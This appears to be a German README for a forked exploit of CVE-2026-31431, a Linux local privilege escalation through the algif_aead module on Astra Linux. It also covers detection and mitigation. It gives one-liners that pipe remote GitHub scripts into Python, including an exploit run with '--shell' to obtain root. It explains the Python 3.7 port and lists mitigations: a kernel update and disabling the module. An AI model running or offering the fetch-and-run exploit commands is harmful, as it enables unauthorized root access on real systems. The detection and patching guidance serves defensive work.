
Erkennt und nutzt CVE-2026-31431 (Copy Fail) lokale Privilegieneskalation auf Astra Linux aus, mit Python-3.7+-Kompatibilität und Einzeiler-Bereitstellung.
Sichere Prüfung ohne Ausnutzung:
curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/detect.py | python3
Ausnutzung (wenn aufgefordert, muss das Benutzerpasswort eingegeben werden)
python3 -c "$(curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/exp.py)" --shell
Dies ist ein Fork, der für Python 3.7, 3.8, 3.9, 3.10, 3.11 angepasst wurde.
Die ursprünglichen Exploits erfordern Python 3.12+ wegen der Verwendung von os.splice().
# ❌ Ursprünglicher Exploit (nur Python 3.12+)
os.splice(fd_in, fd_out, length, offset_src=offset)
# AttributeError: module 'os' has no attribute 'splice'
os.splice() entfernt###Ausnutzung auf Astra Linux
Die Schwachstelle wurde auf Astra Linux verifiziert. Das Modul algif_aead ist vorhanden, die Ausnutzung ermöglicht Zugriff auf sudo und eine Rechteausweitung auf root.
Bei aktivierter mandatorischer Zugriffskontrolle (MZK/Parsec) ist es jedoch nicht möglich, Superadministrator zu werden (Stufe 63 / Rolle astra-admin): Mandatorische Labels beschränken die Privilegien selbst des root-Prozesses, und die Sicherheitsrichtlinie erlaubt es nicht, die festgelegten Vertraulichkeitsstufen zu überschreiten.
Somit: 🔴 Astra-Linux-Systeme ohne MZK oder mit deaktivierter MZK – vollständig verwundbar. 🟡 Systeme mit aktivierter MZK – teilweise geschützt: Root-Erlangung ist möglich, aber die tatsächlichen Möglichkeiten des Angreifers sind durch die mandatorische Richtlinie eingeschränkt.
In beiden Fällen ist bei Erkennung der Schwachstelle die Anwendung der Maßnahmen aus den Punkten 2 oder 3 zwingend erforderlich.
━━━━━━━━━━━━━━━
Auf jedem Server muss der folgende Befehl ausgeführt werden. Er nimmt keine Änderungen am System vor und prüft nur, ob das verwundbare Modul verfügbar ist.
Mit dem Server verbinden und in einer Zeile ausführen:
python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("\n" + "*"30 + "\n** VERWUNDBAR **\n" + ""*30)'
🔴 Wenn auf dem Bildschirm das Wort VERWUNDBAR erscheint – der Server ist anfällig für die Schwachstelle, es muss zu Punkt 2 übergegangen werden. 🟢 Wenn eine Python-Fehlermeldung erscheint – der Server ist nicht anfällig für die Schwachstelle, weitere Maßnahmen sind nicht erforderlich.
━━━━━━━━━━━━━━━ 2. Hauptlösung – Kernel-Update
Der Kernel muss auf eine Version aktualisiert werden, die den Fix enthält: 6.18.22, 6.19.12 oder neuer. Bis zum Update bietet die Deaktivierung des Moduls aus Punkt 3 Schutz.
Für Debian / Ubuntu / Astra Linux:
apt-get update apt-get dist-upgrade reboot
Nach dem Neustart muss unbedingt überprüft werden, dass genau der neue Kernel geladen wurde:
uname -r
Wenn der Befehl eine Version unter 6.18.22 anzeigt – wurde der Kernel nicht aktualisiert oder das System wurde mit einem alten Image gestartet. In diesem Fall muss sichergestellt werden, dass das Update installiert wurde (apt-get dist-upgrade hat keine Fehler ausgegeben) und der Neustart wiederholt werden.
⚠️ Astra Linux 1.7.x: Bis zum Erscheinen des Updates ist die einzige Schutzmaßnahme die Deaktivierung des Moduls aus Punkt 3. Für den Erhalt des Patches wird empfohlen, sich über das persönliche Konto an den Astra-Linux-Support zu wenden.
━━━━━━━━━━━━━━━ 3. Vorübergehende Schutzmaßnahme – Deaktivierung des verwundbaren Moduls
Wenn ein Kernel-Update derzeit nicht möglich ist, wird als vorübergehende Maßnahme empfohlen, das verwundbare Modul zu deaktivieren. Der Vorgang erfordert keinen Neustart und tritt sofort in Kraft. Vor der Anwendung wird empfohlen, die Änderungen in einer Testumgebung zu überprüfen: In seltenen Fällen können einzelne Dienste dieses Modul direkt verwenden.
Befehl zum Deaktivieren des Moduls. Als root (oder über sudo) ausführen:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
Der erste Befehl verbietet das Laden des Moduls bei zukünftigen Starts. Der zweite entlädt es sofort, falls es geladen ist. Ein Fehler im zweiten Befehl ist normal – das bedeutet, dass das Modul bereits nicht aktiv war.